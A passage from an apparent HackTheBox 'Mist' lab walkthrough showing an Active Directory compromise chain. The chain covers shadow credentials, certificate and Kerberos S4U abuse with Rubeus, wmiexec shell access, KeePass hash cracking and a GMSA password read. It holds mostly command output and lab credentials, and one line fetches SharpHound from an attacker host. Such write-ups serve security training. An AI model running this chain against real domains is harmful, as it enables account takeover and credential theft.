Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

Shadow credentials cleared successfully!

# set_shadow_creds MS01$
Found Target DN: CN=MS01,CN=Computers,DC=mist,DC=htb
Target SID: S-1-5-21-1045809509-3006658589-2426055941-1108

KeyCredential generated with DeviceID: a7a6bf2a-0197-0a69-a2f0-69702c52ccef
Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: 9xpGRCU8.pfx
Must be used with password: 2zFj7mulRkxeaECxp6n5

#

Pass the Certificate

I’ll now remove password protection from the 9xpGRCU8.pfx certificate and saves it as unprotected.pfx.

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/impacket]
└─$ certipy-ad cert -export -pfx 9xpGRCU8.pfx -password 2zFj7mulRkxeaECxp6n5 -out unrpotected.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unrpotected.pfx'


And now uthenticate to the mist.htb domain as MS01$ using the unprotected.pfx certificate acquiring its’ hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/impacket]
└─$ proxychains certipy-ad auth -pfx unrpotected.pfx -domain mist.htb -username MS01$ -dc-ip 192.168.100.100 -ns 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: ms01$@mist.htb
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got TGT
[*] Saved credential cache to 'ms01.ccache'
[*] Trying to retrieve NT hash for 'ms01$'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:57e09da59439ab2d04c15e9250237f48

Now I’ll request a TGT for the ms01$ account using an RC4 hash for authentication:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
PS C:\xampp\htdocs\files> ./RUbeus.exe asktgt /nowrap /user:"ms01$" /rc4:57e09da59439ab2d04c15e9250237f48
./RUbeus.exe asktgt /nowrap /user:"ms01$" /rc4:57e09da59439ab2d04c15e9250237f48

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 57e09da59439ab2d04c15e9250237f48
[*] Building AS-REQ (w/ preauth) for: 'mist.htb\ms01$'
[*] Using domain controller: 192.168.100.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFLDCCBSigAwIBBaEDAgEWooIEUDCCBExhggRIMIIERKADAgEFoQobCE1JU1QuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhtaXN0Lmh0YqOCBBAwggQMoAMCARKhAwIBAqKCA/4EggP6vR/ShfCnxD4IRAkQLaOZNi04fepWVzu0oRctqvXy5A9Sre/H2u4epIuf8JDjw1yvXIUSPM3LynkrhE2Vhfu7c8GOOTIFpuHgTdINlbLy/CkgUwR4naNKW2vFLI3AoUaA8s8A2ajQ+gqd6FRxtK8DEDZK3a2tn+TvMP6Sc0XiqqcY5QhmJXoO3tZhipRNTBXeXrg92v/gbDW/HMimEDu9edUR4TbzE/tut/w1E/be8lYXKLWnkHHLdREJXzo8ldr9FqmIhwUBbCOtIZDhqyMHbaGHVsPuQQb0Vqo1J7qJy9uwFiylPdhG6l6bN8dEBf6j2BRsSMi6xwLkhAfQ7hMEhoOe3vEwJB42tKm/YqY+Sn4foV7KtELZkySLb7atcRurlZVNRv+p82/95MjPVfD8ddWXjvm0iYDKcmWPW1mWwzeI8Q1t6VWFErMkrfEy20TbT5RCZAM+pQjEnGJg43IEkVUkmlNNDQPB2/y80CKMPq1HxTlP5pbi7HR7f/82XkWVngj0gkhl+EfZ3Iy/S57QPcUkFSU1vEPH5O4KwbwwjklMkisMzGkjROUPIoPbLIBz1qo3e49lc8yVcTrILTQMpNzAr2dKqsHe0hNWKYTC8FQrOIBQFOtX7aBOacOuBfmV9y1NjX/fWVEa/8wZ0vzCOtCEEMhO9+E1yqnFcQV7RQjckAwPfo7zOy/nTJnHxY0HzYVOap3cEQ3Aba2tIqANKDZqKLziGgOIslWckuFs72N9/2LrCSyTzGQTluiWFHQuRUc9RHkvl7kNRh+0h6Ad5fwV28DCi0cGj7lOlRm+jJ+UxPrF4p10lr4CUdQ/E4BA3Y946nbMtsCk4zEfuMOnV1ToYyyqrxX3afe3OPdFPBcn1WI+NklYco8/Llw+pa2CNRZVSxYiziGNt2x3wuReDII2GF6BjpX3bbt8aUhAuNiDvJgmexOTBZXhdE6XLR+8rpfkD2ZC5RvBDk/N1R6yxtyMJ/ko6UEFj/9xzngXVUl4+6f4LkDfXq812hV3v9auDeE1D+7ugHg9hukIYMZAujXe9vXEKiV5bH0+OL7b1RfwFu5UO4AlVAh6O+A2oDY2F3pHsQpAnEoX6xh0eL/A5LUHMkBKhPj6eL5WXA1K7jLkqfu/0gywjSaadDCxeRYYucy+P0VkuB0s28PnhFpJUWuOO/zDXQM0cahlRQ7DbMFI6F6iywgq7TdFCoTR/20y2gZhEIeE0e9KN2VF3v88ux6sl9pDrWstarKaPNrnyj+1e6M/JhROM0Gc1WMKhcoC6lJCeGbxpv1x06nRjoOmsNaZHbXJCWbrRlZ64NQ9UMQe33jiUTziKVis9jnKFRJDUo7QAYX53Cak5aOBxzCBxKADAgEAooG8BIG5fYG2MIGzoIGwMIGtMIGqoBswGaADAgEXoRIEEIowUhsDMsqGOp3yVHLLLc2hChsITUlTVC5IVEKiEjAQoAMCAQGhCTAHGwVtczAxJKMHAwUAQOEAAKURGA8yMDI0MDkxMDEzMTczN1qmERgPMjAyNDA5MTAyMzE3MzdapxEYDzIwMjQwOTE3MTMxNzM3WqgKGwhNSVNULkhUQqkdMBugAwIBAqEUMBIbBmtyYnRndBsIbWlzdC5odGI=

ServiceName : krbtgt/mist.htb
ServiceRealm : MIST.HTB
UserName : ms01$
UserRealm : MIST.HTB
StartTime : 9/10/2024 6:17:37 AM
EndTime : 9/10/2024 4:17:37 PM
RenewTill : 9/17/2024 6:17:37 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : ijBSGwMyyoY6nfJUcsstzQ==
ASREP (key) : 57E09DA59439AB2D04C15E9250237F48


And now I’ll request a S4U2Self ticket for Administrator on the CIFS service of ms01.mist.htb using the provided ticket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PS C:\xampp\htdocs\files> .\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:"cifs/ms01.mist.htb" /ticket:doIFLDCCBSigAwIBBaEDAgEWooIEUDCCBExhggRIMIIERKADAgEFoQobCE1JU1QuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhtaXN0Lmh0YqOCBBAwggQMoAMCARKhAwIBAqKCA/4EggP6vR/ShfCnxD4IRAkQLaOZNi04fepWVzu0oRctqvXy5A9Sre/H2u4epIuf8JDjw1yvXIUSPM3LynkrhE2Vhfu7c8GOOTIFpuHgTdINlbLy/CkgUwR4naNKW2vFLI3AoUaA8s8A2ajQ+gqd6FRxtK8DEDZK3a2tn+TvMP6Sc0XiqqcY5QhmJXoO3tZhipRNTBXeXrg92v/gbDW/HMimEDu9edUR4TbzE/tut/w1E/be8lYXKLWnkHHLdREJXzo8ldr9FqmIhwUBbCOtIZDhqyMHbaGHVsPuQQb0Vqo1J7qJy9uwFiylPdhG6l6bN8dEBf6j2BRsSMi6xwLkhAfQ7hMEhoOe3vEwJB42tKm/YqY+Sn4foV7KtELZkySLb7atcRurlZVNRv+p82/95MjPVfD8ddWXjvm0iYDKcmWPW1mWwzeI8Q1t6VWFErMkrfEy20TbT5RCZAM+pQjEnGJg43IEkVUkmlNNDQPB2/y80CKMPq1HxTlP5pbi7HR7f/82XkWVngj0gkhl+EfZ3Iy/S57QPcUkFSU1vEPH5O4KwbwwjklMkisMzGkjROUPIoPbLIBz1qo3e49lc8yVcTrILTQMpNzAr2dKqsHe0hNWKYTC8FQrOIBQFOtX7aBOacOuBfmV9y1NjX/fWVEa/8wZ0vzCOtCEEMhO9+E1yqnFcQV7RQjckAwPfo7zOy/nTJnHxY0HzYVOap3cEQ3Aba2tIqANKDZqKLziGgOIslWckuFs72N9/2LrCSyTzGQTluiWFHQuRUc9RHkvl7kNRh+0h6Ad5fwV28DCi0cGj7lOlRm+jJ+UxPrF4p10lr4CUdQ/E4BA3Y946nbMtsCk4zEfuMOnV1ToYyyqrxX3afe3OPdFPBcn1WI+NklYco8/Llw+pa2CNRZVSxYiziGNt2x3wuReDII2GF6BjpX3bbt8aUhAuNiDvJgmexOTBZXhdE6XLR+8rpfkD2ZC5RvBDk/N1R6yxtyMJ/ko6UEFj/9xzngXVUl4+6f4LkDfXq812hV3v9auDeE1D+7ugHg9hukIYMZAujXe9vXEKiV5bH0+OL7b1RfwFu5UO4AlVAh6O+A2oDY2F3pHsQpAnEoX6xh0eL/A5LUHMkBKhPj6eL5WXA1K7jLkqfu/0gywjSaadDCxeRYYucy+P0VkuB0s28PnhFpJUWuOO/zDXQM0cahlRQ7DbMFI6F6iywgq7TdFCoTR/20y2gZhEIeE0e9KN2VF3v88ux6sl9pDrWstarKaPNrnyj+1e6M/JhROM0Gc1WMKhcoC6lJCeGbxpv1x06nRjoOmsNaZHbXJCWbrRlZ64NQ9UMQe33jiUTziKVis9jnKFRJDUo7QAYX53Cak5aOBxzCBxKADAgEAooG8BIG5fYG2MIGzoIGwMIGtMIGqoBswGaADAgEXoRIEEIowUhsDMsqGOp3yVHLLLc2hChsITUlTVC5IVEKiEjAQoAMCAQGhCTAHGwVtczAxJKMHAwUAQOEAAKURGA8yMDI0MDkxMDEzMTczN1qmERgPMjAyNDA5MTAyMzE3MzdapxEYDzIwMjQwOTE3MTMxNzM3WqgKGwhNSVNULkhUQqkdMBugAwIBAqEUMBIbBmtyYnRndBsIbWlzdC5odGI=

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.1

[*] Action: S4U

[*] Action: S4U

[*] Building S4U2self request for: '[email protected]'
[*] Using domain controller: DC01.mist.htb (192.168.100.100)
[*] Sending S4U2self request to 192.168.100.100:88
[+] S4U2self success!
[*] Substituting alternative service name 'cifs/ms01.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74u5PYOJxPauWxmZtIjLZTB0ctEBwdsm96fzPOxnEbibtPb2UeJ0jteHn1mC5q85NwDlcyIRpMr/PEiTj8XkuTS5T1CAaCUHLXoMiAY56nS4H+blTRfVpq9E6eom4KFNzCp3G56MLLeVjEjEZTGKmdfS9S1XZ3Q1G81gbofGFWCLIiqyh5i2vj8XFYHy4dPY+faZo4twVmO2fVM6EidN0lMpsx5Bu8skHCd0A/X5ZbRUJQd7H5bj5vUPRf3NoVKh8E8oIiBTC4ipq4pjm2VgM18w5j56KIoRzVoZ9712PXqzKhm0irSr3BqqHbr8ssiztwMvwv/aMxTnPyRlN6ma+TXVTjvnmnsRskW3UQhWM+hcBnTabhhsxfrj0AdU8c7wm7iftmn9oVv+iLIdBCtZwT5qsFV3JpK6fsAO90xgyiYDXl42N1A3xRFO/DMQ4yCRsAfBu4qcnsvTK9LEGGCoO5rbQQAdJ+PKX6W9Nb5i98o2AYecO7F+StLMkxj/+rkGQ4t7rbSRL9ixYwiPDs3KW4oBU8BUq0U/s1laFj/Cvmb+wsSnLwfOl99LQM6i8nToNtyul3Id6ojNsn/Fcl9HxyIb0Ll9zYhg/VyTbvtaVS+pgOaALlUE4zRe+A2jjPL8chvsqz9u3MGTzx6fXkDfnGWr9HGjKOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIE2/DPRF11yP2hN5nFobYTgiyo6UVNihj3/Hj7QUUSkRoQobCE1JU1QuSFRCohowGKADAgEKoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAAKEAAKURGA8yMDI0MDkxMDEzMTk1MVqmERgPMjAyNDA5MTAyMzE3MzdapxEYDzIwMjQwOTE3MTMxNzM3WqgKGwhNSVNULkhUQqkgMB6gAwIBAaEXMBUbBGNpZnMbDW1zMDEubWlzdC5odGI=

Then export my ticket from rubeus to ccache and connect to admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
──(kali㉿kali)-[~/hackthebox/mist/RubeusToCcache]
└─$ python3 rubeustoccache.py mCa7HMN2w/doIF2jCCBdagAwIBBaEDAgEWooIE4zCCBN9hggTbMIIE16ADAgEFoQobCE1JU1QuSFRCoiAwHqADAgEBoRcwFRsEY2lmcxsNbXMwMS5taXN0Lmh0YqOCBKAwggScoAMCARKhAwIBA6KCBI4EggSKORwKG++4QCpna+M+8UJFc9s6Z1s53yA6N3MDCHXwAVbAZAk7BxK44CoBrBQ0mSdqRZIgCSAeUSXYA8ScNgnDafMTwtvVgFz3x5J9SRT5MzwdLGkjrqBkHAkCLbqZaNOgkKxjAgogN+4P1UVxpqmDlqxfGZ0C8yS19Mg0bjV/l8V/lupCPPPS+oZ4B6pB4BsgcXCMF1ZjGBEksytanIfwy137Kt6fjb+SxVqt7U4WDBcEl1USL/5eRtHZ2TiXBc/VWQbzife6kSpmOZDEmec9Q/wYrSM46SSTAq3gt6Tgspga4D0d6NaGZf3AGr45/NwCofqCvU1M9YovFOSMaTFSpjxqM8snP0FmQex3VnzYqTKQjI1qmm5Y/fp9cj5GoqXXDwo1hQm8QrBJfr2TqwAmlxYIzTTyuCrl+sRDf2YTS3I+5+5O3ggqlf/f7Zxymlygs+5zp3F6Z1OYX1HwAtETtcl8LUOSGMvFLIluNsGXHxghYVgcZO0GF9fTjcMekUOpj5wSfaTU5/KemfXQ01Bg0rXo3whEqJDpucrZQTiompBSbFdLwsb1G3xIggV1n4I/jd5i2v2QG9D/c50brG1WrOikLtdDeuuF0OzlOPZyfQ26+h/Kh2JK2o21WWS6Xavs4HsFk+2xqO8fd647snpYbEqJRFoo9J/NJ43ERY2rSW7J1QPepCDsaYBP4ccppLJ9gtCMMjYij+uUP5b1me4Zm61N/JOjoeLy4sV/0SiMGsiKfvsG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BUbBGNpZnMbDW1zMDEubWlzdC5odGI= ms01.kirbi ms01.ccache
╦═╗┬ ┬┌┐ ┌─┐┬ ┬┌─┐ ┌┬┐┌─┐ ╔═╗┌─┐┌─┐┌─┐┬ ┬┌─┐
╠╦╝│ │├┴┐├┤ │ │└─┐ │ │ │ ║ │ ├─┤│ ├─┤├┤
╩╚═└─┘└─┘└─┘└─┘└─┘ ┴ └─┘ ╚═╝└─┘┴ ┴└─┘┴ ┴└─┘
By Solomon Sklash
github.com/SolomonSklash
Inspired by Zer1t0's ticket_converter.py

[*] Writing decoded .kirbi file to ms01.kirbi
[*] Writing converted .ccache file to ms01.ccache
[*] All done! Don't forget to set your environment variable: export KRB5CCNAME=ms01.ccache

┌──(kali㉿kali)-[~/hackthebox/mist/RubeusToCcache]
└─$ export KRB5CCNAME=ms01.ccache

┌──(kali㉿kali)-[~/hackthebox/mist/RubeusToCcache]
└─$ proxychains4 /bin/python3 ../impacket/examples/wmiexec.py [email protected] -k -no-pass -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket-0.12.0-py3.11.egg/impacket
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:445 ... OK
[+] Using Kerberos Cache: ms01.ccache
[+] Domain retrieved from CCache: MIST.HTB
[+] Returning cached credential for CIFS/[email protected]
[+] Using TGS from cache
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:135 ... OK
[+] Using Kerberos Cache: ms01.ccache
[+] Domain retrieved from CCache: MIST.HTB
[+] SPN HOST/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/[email protected]
[+] Using TGS from cache
[+] Changing sname from cifs/[email protected] to HOST/[email protected] and hoping for the best
[+] Target system is ms01.mist.htb and isFQDN is True
[+] StringBinding: \\\\MS01[\\PIPE\\atsvc]
[+] StringBinding: \\\\MS01[\\pipe\\SessEnvPublicRpc]
[+] StringBinding: MS01[49669]
[+] StringBinding chosen: ncacn_ip_tcp:ms01.mist.htb[49669]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.101:49669 ... OK
[+] Using Kerberos Cache: ms01.ccache
[+] Domain retrieved from CCache: MIST.HTB
[+] SPN HOST/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/[email protected]
[+] Using TGS from cache
[+] Changing sname from cifs/[email protected] to HOST/[email protected] and hoping for the best
[+] Using Kerberos Cache: ms01.ccache
[+] Domain retrieved from CCache: MIST.HTB
[+] SPN HOST/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/[email protected]
[+] Using TGS from cache
[+] Changing sname from cifs/[email protected] to HOST/[email protected] and hoping for the best
[+] Using Kerberos Cache: ms01.ccache
[+] Domain retrieved from CCache: MIST.HTB
[+] SPN HOST/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/[email protected]
[+] Using TGS from cache
[+] Changing sname from cifs/[email protected] to HOST/[email protected] and hoping for the best
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
mist\administrator
C:\>cd users
C:\users>cd administrator
C:\users\administrator>cd desktop
C:\users\administrator\desktop>dir
Volume in drive C has no label.
Volume Serial Number is 560D-8100

Directory of C:\users\administrator\desktop

02/21/2024 08:39 AM <DIR> .
09/10/2024 03:45 AM <DIR> ..
09/10/2024 03:46 AM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 11,852,722,176 bytes free

C:\users\administrator\desktop>type user.txt
fc6ec6ed5becc4******************

Privilege Escalation - Domain Administrator

Checking the users directory I found some interesting stuff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
PS C:\users> tree /a /f
tree /a /f
Folder PATH listing
Volume serial number is 560D-8100
C:.
+---Administrator
| +---3D Objects
| +---Contacts
| +---Desktop
| | user.txt
| |
| +---Documents
| +---Downloads
| +---Favorites
| | | Bing.url
| | |
| | \---Links
| +---Links
| | Desktop.lnk
| | Downloads.lnk
| |
| +---Music
| +---Pictures
| +---Saved Games
| +---Searches
| \---Videos
+---Administrator.MIST
| +---Desktop
| +---Documents
| +---Downloads
| +---Favorites
| +---Links
| +---Music
| +---Pictures
| +---Saved Games
| \---Videos
+---Brandon.Keywarp
| +---Desktop
| +---Documents
| +---Downloads
| +---Favorites
| +---Links
| +---Music
| +---Pictures
| +---Saved Games
| \---Videos
+---Public
| +---Documents
| +---Downloads
| +---Music
| +---Pictures
| \---Videos
+---Sharon.Mullard
| +---Desktop
| +---Documents
| | sharon.kdbx
| |
| +---Downloads
| +---Favorites
| +---Links
| +---Music
| +---Pictures
| | cats.png
| | image_20022024.png
| |
| +---Saved Games
| \---Videos
\---svc_web
+---Desktop
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
\---Videos
PS C:\users>

The kdbx database and the two images were unusual.
I downloaded the files and checked the image:

Password Part
Password Part

I managed to acquire a part of the database password and managed to crack the rest using a specific pattern:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ hashcat -a 3 -m 13400 --increment --increment-min 14 --increment-max 20 sharon.hash 'UA7cpa[#1!_*ZX?a?a?a?a?a?a'

hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-AMD Ryzen 7 4800H with Radeon Graphics, 1417/1481 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

Session..........: hashcat
Status...........: Exhausted
Hash.Name........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa92...3174dc
Time.Started.....: Tue Sep 10 10:36:40 2024 (0 secs)
Time.Estimated...: Tue Sep 10 10:36:40 2024 (0 secs)
Guess.Mask.......: UA7cpa[#1!_*ZX [14]
Guess.Queue......: 1/7 (14.29%)
Speed.#1.........: 5 H/s (0.15ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 1/1 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59392-60000
Candidates.#1....: UA7cpa[#1!_*ZX -> UA7cpa[#1!_*ZX

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

$keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa929f494a285e48a70b719b280200793ee67*761ad6f646fff6f41a844961b4cc815dc4cd0d5871520815f51dd1a5972f6c55*6520725ffa21f113d82f5240f3be21b6*ce6d93ca81cb7f1918210d0752878186b9e8965adef69a2a896456680b532162*dda750ac8a3355d831f62e1e4e99970f6bfe6b7d2b6d429ed7b6aca28d3174dc:UA7cpa[#1!_*ZX@

Session..........: hashcat
Status...........: Cracked
Hash.Name........: KeePass 1 (AES/Twofish) and KeePass 2 (AES)
Hash.Target......: $keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa92...3174dc
Time.Started.....: Tue Sep 10 10:36:40 2024 (1 sec)
Time.Estimated...: Tue Sep 10 10:36:41 2024 (0 secs)
Guess.Mask.......: UA7cpa[#1!_*ZX?a [15]
Guess.Queue......: 2/7 (28.57%)
Speed.#1.........: 402 H/s (4.30ms) @ Accel:64 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 95/95 (100.00%)
Rejected.........: 0/95 (0.00%)
Restore.Point....: 0/95 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59392-60000
Candidates.#1....: UA7cpa[#1!_*ZXX -> UA7cpa[#1!_*ZX~

Started: Tue Sep 10 10:36:13 2024
Stopped: Tue Sep 10 10:36:41 2024

┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ cat sharon.hash
$keepass$*2*60000*0*ae4c58b24d564cf7e40298f973bfa929f494a285e48a70b719b280200793ee67*761ad6f646fff6f41a844961b4cc815dc4cd0d5871520815f51dd1a5972f6c55*6520725ffa21f113d82f5240f3be21b6*ce6d93ca81cb7f1918210d0752878186b9e8965adef69a2a896456680b532162*dda750ac8a3355d831f62e1e4e99970f6bfe6b7d2b6d429ed7b6aca28d3174dc

The password is UA7cpa[#1!_*ZX@

Opening the database I can find the password for OP_SHARON.MULLARD (we can get the name from the users directory):

KDBX Database
KDBX Database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
──(kali㉿kali)-[~]
└─$ proxychains evil-winrm -u "OP_SHARON.MULLARD" -p 'ImTiredOfThisJob:(' -i 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:5985 ... OK
*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents> whoami
mist\op_sharon.mullard
*Evil-WinRM* PS C:\Users\op_Sharon.Mullard\Documents>

I later used sharphound to exfiltrate data from the machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents> iwr 10.10.x.x/SharpHound.ps1 -outfile s.ps1
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:5985 ... OK
*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents> ls


Directory: C:\users\op_Sharon.Mullard\documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/10/2024 8:00 AM 974235 s.ps1


*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents> ./s.ps1
*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents> Invoke-BloodHound -CollectionMethod All -Verbose
*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents> ls


Directory: C:\users\op_Sharon.Mullard\documents


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/10/2024 8:00 AM 9992 20240910080038_BloodHound.zip
-a---- 9/10/2024 8:00 AM 12987 Nzc5ZjBiZTgtNmEwZi00Yjk3LTlkMGUtZTFiZmJmODdhMWI0.bin
-a---- 9/10/2024 8:00 AM 974235 s.ps1


*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents> download 20240910080038_BloodHound.zip

Info: Downloading C:\users\op_Sharon.Mullard\documents\20240910080038_BloodHound.zip to 20240910080038_BloodHound.zip

Info: Download successful!
*Evil-WinRM* PS C:\users\op_Sharon.Mullard\documents>

We can read GMSA by our current user to get svc_ca$ hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~]
└─$ proxychains4 netexec ldap 192.168.100.100 -u op_Sharon.Mullard -p "ImTiredOfThisJob:(" --gmsa
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:636 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
SMB 192.168.100.100 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:mist.htb) (signing:True) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:636 ... OK
LDAPS 192.168.100.100 636 DC01 [+] mist.htb\op_Sharon.Mullard:ImTiredOfThisJob:(
LDAPS 192.168.100.100 636 DC01 [*] Getting GMSA Passwords
LDAPS 192.168.100.100 636 DC01 Account: svc_ca$ NTLM: 542fb8bb34abc7460eb6800cd6399e54

And now, svc_ca$ has AddCredentialLink permissions on svc_cabackup, so I’ll be using pywhisker to add it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(kali㉿kali)-[~/hackthebox/mist/pywhisker]
└─$ proxychains4 python3 pywhisker.py -d "mist.htb" --dc-ip 192.168.100.100 -u 'svc_ca$' -H 542fb8bb34abc7460eb6800cd6399e54 --target "svc_cabackup" --action "add"
[proxychains] config file found: /etc/proxychains4.conf
